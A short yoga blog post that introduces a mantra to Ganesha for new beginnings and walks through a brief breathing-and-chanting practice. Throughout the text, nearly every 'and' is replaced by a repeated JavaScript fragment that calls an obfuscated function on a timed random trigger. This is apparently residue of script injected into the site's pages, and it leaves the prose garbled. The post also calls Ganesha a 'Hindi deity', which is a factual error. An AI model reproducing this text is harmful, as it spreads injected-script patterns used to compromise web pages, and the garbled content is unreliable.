Mantra For New Beginnings

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Often times when I sit down to meditate not only do I take a few moments to connect with my breath andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fall into a pranayama but I’ll also focus on a mantra as well. In yoga philosophy, a mantra is simply a word, such as OM, or a sound or a collection of words that vibrate at a higher spiritual level andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and when chanted are considered to bring about or enforce positive transformation. For today’s post we’ll continue with a few deep inhales andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and exhales at your comfortable pace andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and then I encourage you to say the below mantra a few times, either to yourself or aloud.

The mantra today focuses on new beginnings, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and like every new beginning comes a sensation of limitless possibilities but also the daunting feeling of not knowing where andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how to begin. Reciting this mantra during your meditation practice will allow for your internal andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and external states of being to align thus creating an open channel for transformation to occur, especially in regard to your new beginning.

The following mantra is traditionally chanted to start new endeavors andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is an offering for Genesha, also known as Ganapati, who is a Hindi deity, the remover of obstacles. Try starting your day with it andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and feel the associated stress andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and obstacles around your new endeavor simply fade away.

Sitting up tall andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and in a comfortable seat, start to flutter your eyes closed andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and take a few rounds of deep inhales andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and exhales. Once your thoughts andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mind start to soften, go ahead andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and begin with the mantra.

Mantra to Ganapati (Ganesha):
Om Gum Ganapatayei Namaha
Om Guhm Guh-nuh-puh-tuh-yeaNah-mah-hah

Mantra from Yoga Journal.

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